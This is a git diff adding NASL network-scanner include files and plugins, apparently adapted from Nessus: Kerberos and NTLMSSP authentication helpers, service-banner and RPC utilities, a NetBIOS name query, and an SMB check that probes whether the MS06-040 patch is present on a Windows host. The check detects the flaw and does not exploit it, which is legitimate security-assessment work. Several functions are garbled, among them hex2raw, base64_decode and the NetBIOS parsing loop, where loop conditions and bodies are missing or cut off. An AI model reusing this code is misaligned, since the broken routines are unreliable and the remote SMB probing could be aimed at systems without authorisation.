("1.2.840.113554.1.2.2" >!< oid)) + return NULL; + + kid = list[2]; + if (ord(kid[0]) != 2) # AP-REP + return NULL; + + aprep = der_parse_data (tag:0x6F, data:list[3]); + if (isnull (aprep)) + return NULL; + + seq = der_parse_sequence (seq:aprep, num:4, list:FALSE); + if (isnull (seq)) + return NULL; + + pvno = der_parse_int (i:seq[0]); + if (isnull (pvno) || (pvno != 5)) + return NULL; + + msg_type = der_parse_int (i:seq[1]); + if (isnull (msg_type) || (msg_type != 15)) # AP-REP + return NULL; + + enc_part = der_parse_sequence (seq:seq[2], num:3, list:NULL); + if (isnull (enc_part)) + return NULL; + + enc_type = der_parse_int (i:enc_part[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + encrypted = der_parse_octet_string (string:enc_part[2]); + if (isnull (encrypted)) + return NULL; + + decrypted = kerberos_decrypt (key:key, type:raw_dword(d:12), data:encrypted, real_key:TRUE, enc_type:enc_type, realm:realm, principal:name); + if (isnull (decrypted)) + return NULL; + + # we need to extract the subkey if present for SMB Signing + enc_part = der_parse_data (tag:0x7b, data:decrypted); + if (isnull (enc_part)) + return NULL; + + seq = der_parse_sequence (seq:enc_part, num:4, list:NULL); + if (isnull (seq)) + return NULL; + + + ret = NULL; + ret [0] = 0; + + if (seq[2] != NULL) + { + seq = der_parse_sequence (seq:seq[2], num:2, list:NULL); + if (isnull (seq)) + return NULL; + + enc_type = der_parse_int (i:seq[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + enc_key = der_parse_octet_string (string:seq[1]); + if (isnull (enc_key)) + return NULL; + + ret[0] = 1; + ret[1] = enc_key; + } + + return ret; +} + + + + + +#---------------------------------------------------------# +# Function : ntlmssp_negotiate_securityblob # +# Description : Return NTLMSSP_NEGOCIATE blob # +#---------------------------------------------------------# + +function ntlmssp_negotiate_securityblob () +{ + local_var mechtypes, mechtoken, ntlmssp, offset; + + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.3.6.1.4.1.311.2.2.10")); + + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:1); # NTLMSSP_NEGOTIATE + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation domain NULL + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation name NULL + + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + mechtoken = der_encode_octet_string (string:ntlmssp); + + return der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:NULL); +} + + + +#---------------------------------------------------------# +# Function : ntlmssp_parse_challenge # +# Description : Return NTLM challenge # +#---------------------------------------------------------# + +function ntlmssp_parse_challenge (data) +{ + local_var negtokentarg, negresult, supportedmech, responsetoken, init, msg, challenge, d_len, offset, domain, ret; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + if (negresult != 1) # Accept Incomplete + return NULL; + + supportedmech = negtokentarg[1]; + + if ("1.3.6.1.4.1.311.2.2.10" >!< supportedmech) + return NULL; + + responsetoken = negtokentarg[2]; + if (!responsetoken) + return NULL; + + if (strlen(responsetoken) < 40) + return NULL; + + init = substr (responsetoken, 0, 7); + if ("NTLMSSP" >!< init) + return NULL; + + msg = substr (responsetoken, 8, 11); + if ("02000000" >!< hexstr(msg)) # NTLMSSP_CHALLENGE + return NULL; + + d_len = get_word (blob:responsetoken, pos:12); + offset = get_dword (blob:responsetoken, pos:16); + + domain = substr (responsetoken, offset, offset+d_len-1); + + challenge = substr (responsetoken, 24, 31); + + ret[0] = challenge; + ret[1] = domain; + + return ret; +} + + +#---------------------------------------------------------# +# Function : ntlmssp_parse_response # +# Description : Return NTLM Result # +#---------------------------------------------------------# + +function ntlmssp_parse_response (data) +{ + + local_var negtokentarg, negresult; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + return negresult; +} + + + +#---------------------------------------------------------# +# Function : ntlmssp_data # +# Description : Return NTLMSSP data # +# word data_len # +# word data_len # +# dword offset_data # +#---------------------------------------------------------# + +function ntlmssp_data (data,offset) +{ + return raw_word (w:strlen(data)) + raw_word (w:strlen(data)) + raw_dword (d:offset); +} + + +#---------------------------------------------------------# +# Function : ntlmssp_auth_securityblob # +# Description : Return NTLMSSP_AUTH blob # +#---------------------------------------------------------# + +function ntlmssp_auth_securityblob (password,login,domain,challenge) +{ + local_var ntlmssp,nt,response,mechtoken,responsetoken; + local_var hostname,sessionkey,lm,offset,key,ret; + + sessionkey = lm = nt = NULL; + hostname = domain; + + # Systems with Extended Security Authentication support NTLMv2 so NTLMv1 is useless here (?) + + if (login) + { + response = LMv2_Response (password:password, login:login, domain:domain, challenge:challenge); + lm = response[0]; + key = response[1]; + } + else + { + lm = raw_string (0x00); + } + + #response = NTLM_Response (password:password, challenge:challenge); + #nt = response[0]; + + offset = 0x48; # First text; + + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:3); # NTLMSSP_AUTH + + # Lan Manager response = NULL + ntlmssp += ntlmssp_data (data:lm,offset:offset); + offset += strlen (lm); + + # NTLM Response + ntlmssp += ntlmssp_data (data:nt,offset:offset); + offset += strlen(nt); + + # Domain name = NULL + ntlmssp += ntlmssp_data (data:domain, offset:offset); + offset += strlen (domain); + + # User name + ntlmssp += ntlmssp_data (data:login, offset:offset); + offset += strlen (login); + + # Host name = NULL + ntlmssp += ntlmssp_data (data:hostname, offset:offset); + offset += strlen (hostname); + + # Session Key = NULL + ntlmssp += ntlmssp_data (data:sessionkey, offset:offset); + offset += strlen (sessionkey); + + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + ntlmssp += lm + nt + domain + login + hostname + sessionkey; + + ntlmssp = der_encode_octet_string (string:ntlmssp); + responsetoken = der_encode (tag:0xA2, data:ntlmssp); + responsetoken = der_encode_list (list:responsetoken); + + ret[0] = key; + ret[1] = der_encode (tag:0xA1, data:responsetoken); + return ret; +} + + +#---------------------------------------------------------# +# Function : kerberos_ssh # +# Description : Return kerberos blob # +#---------------------------------------------------------# + +function kerberos_ssh (login,password,realm,host,seqnum) +{ + local_var ret, soc2, resp, rep, req, cksum, checksum, apreq, innercontexttoken, initialcontexttoken, session; + + soc2 = open_sock_kdc (); + if (isnull (soc2)) + return NULL; + + req = der_encode_asreq (principal:login, realm:realm, password:password, enc_type:3); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + if (!resp) + { + close (soc2); + return NULL; + } + rep = der_decode_asrep(password:password, data:resp); + session = rep; + if (!resp) + { + close (soc2); + return NULL; + } + + req = der_encode_tgsreq (session:session,name:host); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + close (soc2); + if (!resp) + return NULL; + + rep = der_decode_tgsrep(session:session, data:resp); + session = rep; + if (isnull (rep)) + return NULL; + + cksum = raw_dword (d:16) + # bnd length + crap (data:raw_string(0),length:16) + #bnd + raw_dword (d:32|2) + # flags + + checksum = NULL; + checksum[0] = der_encode_int32 (i:0x8003); + checksum[1] = der_encode (tag:0x04, data:cksum); + + apreq = der_encode_apreq(session:session, type:11, _checksum:der_encode_sequence (seq:checksum), _seqnum:seqnum); + + innercontexttoken = raw_string(0x01,0x00) + apreq; + initialcontexttoken = der_encode_oid(oid:"1.2.840.113554.1.2.2")+innercontexttoken; + + ret = NULL; + ret[0] = session[1]; + ret[1] = der_encode (tag:0x60, data:initialcontexttoken); + + return ret; +} + + +#---------------------------------------------------------# +# Function : gssapi_ssh_get_mic # +# Description : Return gssapi mic # +#---------------------------------------------------------# + +function gssapi_ssh_get_mic (data, key, seqnum) +{ + local_var hash, des_cksum, seq_num, crypted, mic; + + hash = MD5 ( raw_string(0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF) + + data ); + + des_cksum = des_cbc_checksum (key:key,data:hash,iv:raw_string(0,0,0,0,0,0,0,0)); + + seq_num = raw_dword (d:seqnum) + raw_dword (d:0); + + crypted = des_cbc_encrypt (data:seq_num, key:key, iv:des_cksum, encrypt:1); + + mic = der_encode (tag:0x60, data:der_encode_oid(oid:"1.2.840.113554.1.2.2") + raw_string (0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF) + crypted + des_cksum); + + return mic; +} + + + +#---------------------------------------------------------# +# Function : check_gssapi_token # +# Description : Return 1 if trusted/accepted # +#---------------------------------------------------------# + +function check_gssapi_token (data, key, realm, principal) +{ + local_var list, oid, seq, kid, aprep, pvno, msg_type, enc_part, enc_type, encrypted, decrypted, enc_key, kerberosblob, ret; + + + kerberosblob = der_parse_data (tag:0x60, data:data); + if (isnull (kerberosblob) || (strlen(kerberosblob)<14)) + return NULL; + + list = NULL; + list[1] = substr(kerberosblob,0,10); + list[2] = substr(kerberosblob,11,12); + list[3] = substr(kerberosblob,13,strlen(kerberosblob)-1); + + oid = der_parse_oid (oid:list[1]); + if (!oid || ("1.2.840.113554.1.2.2" >!< oid)) + return NULL; + + kid = list[2]; + if (ord(kid[0]) != 2) # AP-REP + return NULL; + + aprep = der_parse_data (tag:0x6F, data:list[3]); + if (isnull (aprep)) + return NULL; + + seq = der_parse_sequence (seq:aprep, num:4, list:FALSE); + if (isnull (seq)) + return NULL; + + pvno = der_parse_int (i:seq[0]); + if (isnull (pvno) || (pvno != 5)) + return NULL; + + msg_type = der_parse_int (i:seq[1]); + if (isnull (msg_type) || (msg_type != 15)) # AP-REP + return NULL; + + enc_part = der_parse_sequence (seq:seq[2], num:3, list:NULL); + if (isnull (enc_part)) + return NULL; + + enc_type = der_parse_int (i:enc_part[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + encrypted = der_parse_octet_string (string:enc_part[2]); + if (isnull (encrypted)) + return NULL; + + decrypted = kerberos_decrypt (key:key, type:raw_dword(d:12), data:encrypted, real_key:TRUE, enc_type:enc_type, realm:realm, principal:principal); + if (isnull (decrypted)) + return NULL; + + # we need to extract the subkey if present for SMB Signing + enc_part = der_parse_data (tag:0x7b, data:decrypted); + if (isnull (enc_part)) + return NULL; + + seq = der_parse_sequence (seq:enc_part, num:4, list:NULL); + if (isnull (seq)) + return NULL; + + + ret = NULL; + ret [0] = 0; + + if (seq[2] != NULL) + { + seq = der_parse_sequence (seq:seq[2], num:2, list:NULL); + if (isnull (seq)) + return NULL; + + enc_type = der_parse_int (i:seq[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + enc_key = der_parse_octet_string (string:seq[1]); + if (isnull (enc_key)) + return NULL; + + ret[0] = 1; + ret[1] = enc_key; + } + + return ret; +} + diff --git a/content/WinVA/plugins/misc_func.inc b/content/WinVA/plugins/misc_func.inc new file mode 100644 index 0000000..abd8c87 --- /dev/null +++ b/content/WinVA/plugins/misc_func.inc @@ -0,0 +1,562 @@ +# -*- Fundamental -*- +# +# (C) 2002 Michel Arboi +# $Revision: 1.58 $ + +function replace_or_set_kb_item(name, value) +{ + if (defined_func("replace_kb_item")) + replace_kb_item(name: name, value: value); + else + set_kb_item(name: name, value: value); +} + +function register_service(port, proto, ipproto) +{ + local_var k; + if (! ipproto) ipproto = "tcp"; + if (! service_is_unknown(port:port, ipproto: ipproto)) + { + if (debug_level) display(get_host_ip(), ": service is already known on port ", ipproto, ":", port, "\n"); + #return(0); + } + + k = strcat("Known/", ipproto, "/", port); + replace_or_set_kb_item(name: k, value: proto); + if (ipproto == "tcp") k = strcat("Services/", proto); + else k = strcat("Services/", ipproto, "/", proto); + set_kb_item(name: k, value: port); + if (debug_level) display(get_host_ip(), ": register_service: port=", port, ", proto=", proto, "\n"); +} + +# This function may fork! +function known_service(port, ipproto) +{ + local_var k, p; + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_item(k); + #if (p) { display("Known service on port ", port, "\n"); } + #else { display("Unknown service on port ", port, "\n"); } + return p; +} + +# This function does not fork! +function service_is_unknown(port, ipproto) +{ + local_var k, p; + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_list(k); + if (isnull(p)) return TRUE; + foreach k (p) + if (k != "unknown") # fool proof + return FALSE; + return TRUE; +} + +function verify_service(port, ipproto, proto) +{ + local_var k, p; + # Remember: no KB yet in command line mode! + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_list(k); + foreach k (p) + if (k == proto) + return TRUE; + return FALSE; +} + +# This function may fork +function get_port_for_service(default, ipproto, proto) +{ + local_var k, p; + # Remember: no KB yet in command line mode! + if (! ipproto) ipproto = "tcp"; + if (ipproto == "tcp") k = strcat("Services/", proto); + else k = strcat("Services/", ipproto, "/", proto); + p = get_kb_item(k); + if (p) return p; + k = strcat("Known/", ipproto, "/", default); + p = get_kb_item(k); + if (p == proto) return default; + exit(0); +} + +function set_mysql_version(port, version) +{ + local_var sb; + sb = string("mysql/version/", port); + set_kb_item(name: sb, value: version); +} + +function get_mysql_version(port) +{ + local_var sb; + sb = string("mysql/version/", port); + return get_kb_item(sb); +} + +function get_unknown_banner(port, ipproto, dontfetch) +{ + local_var sb, sbH, banner, soc, req, tcp, p, bannerHex; + + if (! ipproto) ipproto = "tcp"; + tcp = ipproto == 'tcp'; + if (tcp) + { + sb = strcat("unknown/banner/", port); + sbH = strcat("unknown/bannerHex/", port); + } + else + { + sb = strcat("unknown/banner/", ipproto, "/", port); + sbH = strcat("unknown/bannerHex/", ipproto, "/", port); + } + banner = get_kb_item(sbH); + if (banner) return hex2raw(s: banner); + banner = get_kb_item(banner); + if (banner) return banner; + + banner = get_kb_item("BannerHex/"+port); + if (banner) return(hex2raw(s: banner)); + banner = get_kb_item("Banner/"+port); + if (banner) return(banner); + + banner = get_kb_item("Amap/"+ipproto+"/"+port+"/FullBanner"); + if (banner) return(banner); + + foreach p (make_list("spontaneous", "get_http", "help")) + { + banner = get_kb_item("FindService/"+ipproto+"/"+port+"/"+p); + bannerHex = get_kb_item("FindService/"+ipproto+"/"+port+"/"+p+"Hex"); + if (strlen(bannerHex) > 2 * strlen(banner)) + return hex2raw(s: banner); + else + return(banner); + } + if (dontfetch) return(NULL); + if (! get_port_state(port)) return (NULL); + if (! tcp) return (NULL); + + soc = open_sock_tcp(port); + if(!soc) return (NULL); + # I don't think that it makes sense to send an HTTP request + #req = http_head(item:"/", port:port); + #send(socket:soc, data:req); + banner = recv(socket:soc, length:2048); + close(soc); + if (banner) + { + replace_or_set_kb_item(name: sb, value: banner); + if ('\0' >< sb) + replace_or_set_kb_item(name: sbH, value: hexstr(banner)); + } + return(banner); +} + +function set_unknown_banner(port, banner, ipproto) +{ + local_var sb; + if (! ipproto || ipproto == 'tcp') + sb = string("unknown/banner/", port); + else + sb = strcat('unknown/banner/', ipproto, '/', port); + set_kb_item(name: sb, value: banner); + if ('\0' >< banner) + { + if (! ipproto || ipproto == 'tcp') + sb = string("unknown/bannerHex/", port); + else + sb = strcat('unknown/bannerHex/', ipproto, '/', port); + set_kb_item(name: sb, value: hexstr(banner)); + } +} + +# +# Get the banner for a given service +# You must also specify a default port, in case this is not in the kb +# +function get_service_banner_line(service, port, ipproto) +{ + local_var banner, soc, key, gport, tcp; + tcp = !ipproto || ipproto == 'tcp'; + if (tcp) + gport = get_kb_item(strcat("Services/", service)); + else + gport = get_kb_item(strcat("Services/", ipproto, "/", service)); + if(!gport) gport = port; + + if (tcp) + key = strcat(service, "/banner/", gport); + else + key = strcat(service, "/banner/", ipproto, "/", gport); + + banner = get_kb_item(key); + + if(!banner) + { + if (! tcp) return; + + if(get_port_state(gport)) + { + soc = open_sock_tcp(gport); + if(soc) + { + banner = recv_line(socket:soc, length:2048); + close(soc); + } + } +# if (banner) set_kb_item(name: key, value: banner); + } + + return(banner); +} +# +# Fast replacement for getrpcport() which uses the libc +# +function get_rpc_port(program, protocol, portmap) +{ + local_var broken, req, soc, r, port; + local_var a, b, c, d, p_a, p_b, p_c, p_d, pt_a, pt_b, pt_c, pt_d; + + + + a = rand() % 255; + b = rand() % 255; + c = rand() % 255; + d = rand() % 255; + + p_a = program / 16777216; p_a = p_a % 256; + p_b = program / 65356; p_b = p_b % 256; + p_c = program / 256; p_c = p_c % 256; + p_d = program % 256; + + pt_a = protocol / 16777216; pt_a = pt_a % 256; + pt_b = protocol / 65535 ; pt_b = pt_b % 256; + pt_c = protocol / 256; ; pt_c = pt_c % 256; + pt_d = protocol % 256; + + + req = raw_string(a, b, c, d, # XID + 0x00, 0x00, 0x00, 0x00, # Msg type: call + 0x00, 0x00, 0x00, 0x02, # RPC Version + 0x00, 0x01, 0x86, 0xA0, # Program + 0x00, 0x00, 0x00, 0x02, # Program version + 0x00, 0x00, 0x00, 0x03, # Procedure + 0x00, 0x00, 0x00, 0x00, # Credentials - flavor + 0x00, 0x00, 0x00, 0x00, # Credentials - length + 0x00, 0x00, 0x00, 0x00, # Verifier - Flavor + 0x00, 0x00, 0x00, 0x00, # Verifier - Length + + p_a, p_b, p_c, p_d, # Program + 0xFF, 0xFF, 0xFF, 0xFF, # Version (any) + pt_a, pt_b, pt_c, pt_d, # Proto (udp) + 0x00, 0x00, 0x00, 0x00 # Port + ); + + + if(isnull(portmap)){ + port = int(get_kb_item("rpc/portmap")); + if(port == 0)port = 111; + } + else port = portmap; + + + broken = get_kb_item(string("/tmp/rpc/noportmap/", port)); + if(broken)return(0); + + + soc = open_sock_udp(port); + send(socket:soc, data:req); + r = recv(socket:soc, length:1024); + + close(soc); + if(!r) + { + set_kb_item(name:string("/tmp/rpc/noportmap/", port), value:TRUE); + return(0); + } + + if(strlen(r) < 28) + return(0); + else + { + p_d = ord(r[27]); + p_c = ord(r[26]); + p_b = ord(r[25]); + p_a = ord(r[24]); + port = p_a; + port = port * 256; + port = port +p_b; + port = port * 256; + port = port + p_c; + port = port * 256; + port = port + p_d; + return(port); + } +} + +# +function rand_str(length, charset) +{ + local_var l, i, s, n; + + if (! charset) + charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"; + if (isnull(length)) + length = 8; + l = strlen(charset); + s = ""; + for (i = 0; i < length; i ++) + { + n = rand() % l; + s += charset[n]; + } + return s; +} + + + +function add_port_in_list(list, port) +{ + local_var l; + + + if(!get_port_state(port)) + { + if(isnull(list))return make_list(); + else return list; + } + + if(isnull(list))return make_list(port); + + foreach l (list) + { + if(l == port) + return list; + } + + return make_list(list, port); +} + +# hex2raw was written by Renaud? + +function hex2raw(s) +{ + local_var i, j, ret, l; + + s = chomp(s); # remove trailing blanks, CR, LF... + l = strlen(s); + if (l % 2) display("hex2raw: odd string: ", s, "\n"); + for(i=0;i= ord("0") && ord(s[i]) <= ord("9")) + j = int(s[i]); + else + j = int((ord(s[i]) - ord("a")) + 10); + + j *= 16; + if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9")) + j += int(s[i+1]); + else + j += int((ord(s[i+1]) - ord("a")) + 10); + ret += raw_string(j); + } + return ret; +} + +function report_service(port, svc, banner) +{ + local_var k, name, a; + + svc = tolower(svc); + if (! isnull(banner)) + { + k = strcat(svc, "/banner/", port); + set_kb_item(name: k, value: banner); + } + register_service(port: port, proto: svc); + if (svc == 'www') name = 'web server'; + else if (svc == 'proxy') name = 'web proxy'; + else if (svc == 'hylafax-ftp' || svc == 'hylafax') name = 'HylaFax server'; + else if (svc == 'agobot.fo') name = 'Agobot.fo backdoor'; + else if (svc == 'unknown_irc_bot') name = 'IRC bot'; + else if (svc == 'auth') name = 'identd'; + else name = toupper(svc) +' server'; + a = tolower(name[0]); + if (a == 'a' || a == 'e' || a == 'i' || a == 'o' || a == 'h') a = 'An '; + else a = 'A '; + security_note(port: port, data: a + name + ' is running on this port'); +} + + + + + +function base64_decode(str) +{ + local_var len, i, j, k, ret, base64, b64, a,b,c,o; + len = strlen(str); + ret = ""; + + base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + for (i = 0; i < 256; i++) + b64[i] = 0; + for (i = 0; i < strlen(base64); i++) + b64[ord(base64[i])] = i; + + for(j=0;j> 4); + o[1] = (b[1] << 4) | (b[2] >> 2); + o[2] = (b[2] << 6) | b[3]; + if (a[2] == ord('=')) + i = 1; + else if (a[3] == ord('=')) + i = 2; + else + i = 3; + for(k=0;k 0) { + rem = num % 256; + hex = raw_string(rem, hex); + num = num / 256; + if (num > 0 && num < 255) { + hex = raw_string(num, hex); + num = 0; + } + } + if (!hex) hex = raw_string(0x00); + + return hex; +} + +# Convert a Date CVS field to Unix time +# Michel Arboi + +function cvsdate2unixtime(date) +{ + local_var v, u; + if (! defined_func("mktime")) return NULL; # We could write it in NASL... + v = eregmatch(string: date, pattern: "\$Date: 2005/10/13 18:10:42 $"); + if (isnull(v)) return; + u = mktime(year: v[1], mon: v[2], mday: v[3], hour: v[3], min: v[5], sec: v[6]); + return u; +} + diff --git a/content/WinVA/plugins/ms06-040.nasl b/content/WinVA/plugins/ms06-040.nasl new file mode 100644 index 0000000..6aff543 --- /dev/null +++ b/content/WinVA/plugins/ms06-040.nasl @@ -0,0 +1,88 @@ +# Modified for NEET by Jonathan Roach from Nessus plugin ID 22194 +# http://www.microsoft.com/technet/security/bulletin/ms06-040.mspx + + +include ('smb_func.inc'); + +global_var rpipe; + + +function NetPathCanonicalize () +{ +local_var fid, data, rep, ret; + +fid = bind_pipe (pipe:"\browser", +uuid:"4b324fc8-1670-01d3-1278-5a47bf6ee188", vers:3); +if (isnull (fid)) +return 0; + +# we initialize the buffer first +data = class_parameter (name:"m", ref_id:0x20000) + +class_name (name:"") + +raw_dword (d:20) + +class_name (name:"nessus") + # wcscpy in the buffer +raw_dword (d:1) + +raw_dword (d:0) ; + + +data = dce_rpc_pipe_request (fid:fid, code:0x1f, data:data); +if (!data) +return 0; + +rep = dce_rpc_parse_response (fid:fid, data:data); +if (!rep || (strlen(rep) != 32)) +return 0; + +ret = get_dword (blob:rep, pos:strlen(rep)-4); +if ((ret != 0x84b) && (ret != 0x7b)) +return 0; + +# the patch should fill the buffer with 0, else it will return "nessus" +data = class_parameter (name:"m", ref_id:0x20000) + +class_name (name:"") + # the path reinitialize the buffer +raw_dword (d:20) + +class_name (name:"") + +raw_dword (d:1) + +raw_dword (d:0) ; + +data = dce_rpc_pipe_request (fid:fid, code:0x1f, data:data); +if (!data) +return 0; + +rep = dce_rpc_parse_response (fid:fid, data:data); +if (!rep || (strlen(rep) != 32)) +return 0; + +ret = get_dword (blob:rep, pos:strlen(rep)-4); +if ((ret != 0x84b) && (ret != 0x7b)) +return 0; + +ret = get_dword (blob:rep, pos:0); +if (ret != 20) +return 0; + +ret = get_string (blob:rep, pos:4, _type:1); +if (ret == "nessus\") +return 1; + +return 0; +} + +name = kb_smb_name(); +port = 445; + +if ( ! get_port_state(port) ) exit(0); +soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +session_init(socket:soc, hostname:name); + +r = NetUseAdd(share:"IPC$"); +if ( r == 1 ) +{ +ret = NetPathCanonicalize (); +if (ret == 1) + display("Success"); + +NetUseDel(); +} diff --git a/content/WinVA/plugins/netbios_name_get.nasl b/content/WinVA/plugins/netbios_name_get.nasl new file mode 100644 index 0000000..df7a2cc --- /dev/null +++ b/content/WinVA/plugins/netbios_name_get.nasl @@ -0,0 +1,387 @@ +# Modified by Jon Roach to work with neet + +include ('smb_func.inc'); + +global_var wildcard, unique_desc, group_desc, nbname, nbgroup, messenger_count; + +nbname = nbgroup = NULL; +messenger_count = 0; + +wildcard = "*" + raw_string (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + +unique_desc[0x00] = "Computer name"; +unique_desc[0x01] = "Messenger Service"; +unique_desc[0x03] = "Messenger Service"; +unique_desc[0x06] = "RAS Server Service"; +unique_desc[0x1B] = "Domain Master Browser"; +unique_desc[0x1D] = "Master Browser"; +unique_desc[0x1F] = "NetDDE Service"; +unique_desc[0x20] = "File Server Service"; +unique_desc[0x21] = "Ras Client Service"; +unique_desc[0x22] = "Microsoft Exchange Interchange"; +unique_desc[0x23] = "Microsoft Exchange Store"; +unique_desc[0x24] = "Microsoft Exchange Directory"; +unique_desc[0x2B] = "Lotus Notes Server Service"; +unique_desc[0x30] = "Modem Sharing Server Service"; +unique_desc[0x31] = "Modem Sharing Client Service"; +unique_desc[0x43] = "SMS Client Remote Control"; +unique_desc[0x44] = "SMS Administrators Remote Control Tool"; +unique_desc[0x45] = "SMS Clients Remote Chat"; +unique_desc[0x46] = "SMS Clients Remote Transfer"; +unique_desc[0x4C] = "DEC Pathworks TCPIP service on Windows NT"; +unique_desc[0x52] = "DEC Pathworks TCPIP service on Windows NT"; +unique_desc[0x87] = "Microsoft Exchange MTA"; +unique_desc[0x6A] = "Microsoft Exchange IMC"; +unique_desc[0xBE] = "Network Monitor Agent"; +unique_desc[0xBF] = "Network Monitor Application"; + +group_desc[0x00] = "Workgroup / Domain name"; +group_desc[0x01] = "Master Browser"; +group_desc[0x1C] = "Domain Controllers"; +group_desc[0x1E] = "Browser Service Elections"; +group_desc[0x2F] = "Lotus Notes"; +group_desc[0x33] = "Lotus Notes"; + + +function get_nword (blob, pos) +{ + return (ord(blob[pos]) << 8) + ord(blob[pos+1]); +} + +function get_ndword (blob, pos) +{ + return (ord(blob[pos]) << 24) + (ord(blob[pos+1]) << 16) + (ord(blob[pos+2]) << 8) + ord(blob[pos+3]); +} + + +function netbios_encode2(data,service) +{ + local_var tmpdata, ret, i, o, odiv, omod, c; + + ret = ""; + tmpdata = data; + + while (strlen(tmpdata) < 16) + { + tmpdata += " "; + } + + for(i=0;i<16;i++) + { + o = ord(tmpdata[i]); + odiv = o/16; + odiv = odiv + ord("A"); + omod = o%16; + omod = omod + ord("A"); + c = raw_string(odiv, omod); + + ret = ret+c; + } + + return raw_byte (b:strlen(ret)) + ret + raw_byte (b:service); +} + + +function netbios_decode(name) +{ + local_var tmpdata, ret, i, o, odiv, omod, c; + + ret = NULL; + + for(i=0;i<32;i+=2) + { + ret += raw_string ( ((ord(name[i]) - ord("A")) * 16) + (ord(name[i+1]) - ord("A")) ); + } + + return ret; +} + +function htons(n) +{ + return raw_string((n >>> 8) & 0xFF, n & 0xFF); +} + + +function parse_wildcard_response (rep, id) +{ + local_var r_id, flag, questions, answer, authority, additionnal, nbt_length, nbt_encoded, nbt_name; + local_var pos, service, type, class, ttl, dlen, data, num, names, i; + + r_id = get_nword (blob:rep, pos:0); + # if it is not our id we leave + if (r_id != id) + return NULL; + + flag = get_nword (blob:rep, pos:2); + # if the error code is != from 0 we leave + if (flag & 127) + return NULL; + + questions = get_nword (blob:rep, pos:4); + if (questions != 0) + return NULL; + + answer = get_nword (blob:rep, pos:6); + authority = get_nword (blob:rep, pos:8); + additionnal = get_nword (blob:rep, pos:10); + + nbt_length = get_byte (blob:rep, pos:12); + if (strlen (rep) < 12 + nbt_length) + return NULL; + + nbt_encoded = substr (rep, 13, 13+nbt_length-1); + nbt_name = netbios_decode (name:nbt_encoded); + if (nbt_name != wildcard) + return NULL; + + pos = 13 + nbt_length; + service = get_byte (blob:rep, pos:pos); + pos++; + + type = get_nword (blob:rep, pos:pos); + if (type != 0x21) + return NULL; + + class = get_nword (blob:rep, pos:pos+2); + if (class != 1) + return NULL; + + ttl = get_ndword (blob:rep, pos:pos+4); + dlen = get_nword (blob:rep, pos:pos+8); + pos = pos + 10; + + if (strlen(rep) < pos + dlen) + return NULL; + + data = substr(rep, pos, pos+dlen-1); + + num = get_byte (blob:data, pos:0); + if (strlen(data)-1 < num*18) + return NULL; + + pos = 1; + names = make_list (); + + for (i=0; i . (soc is a socket opened to the NFS daemon) +# +# cwd(soc, fid, dir) - Changes the working directory to . Returns +# a new fid +# +# umount(soc, share) - Tells the remote NFS server we don't need its services +# any more (soc is a socket opened to the mount daemon) +# +# +# $Id: nfs_func.inc,v 1.8 2005/12/30 15:02:12 renaud Exp $ + +function padsz(len) +{ + if(len % 4) + return 4 - len % 4; + else + return 0; +} + +function rpclong(val) +{ + local_var ret; + + ret = raw_string(val / (256*256*256), + val / (256*256), + val / 256, + val % 256); + return ret; +} + + +function str2long(val, idx) +{ + local_var ret; + if ( strlen(val) <= (idx + 3) ) + return NULL; + + ret = ord(val[idx]) * 256 * 256 * 256 + + ord(val[idx+1]) * 256 * 256 + + ord(val[idx+2]) * 256 + + ord(val[idx+3]); + + return int(ret); +} + + + +function rpcpad(pad) +{ + return crap(length:pad, data:raw_string(0)); +} + + + + +function mount(soc, share) +{ + local_var pad, req, len, r, ret, i; + + pad = padsz(len:strlen(this_host_name())); + len = 52 + strlen(this_host_name()) + pad; + + req = rpclong(val:rand()) + + rpclong(val:0) + + rpclong(val:2) + + rpclong(val:100005) + + rpclong(val:1) + + rpclong(val:1) + + rpclong(val:1) + + rpclong(val:len) + + rpclong(val:rand()) + + 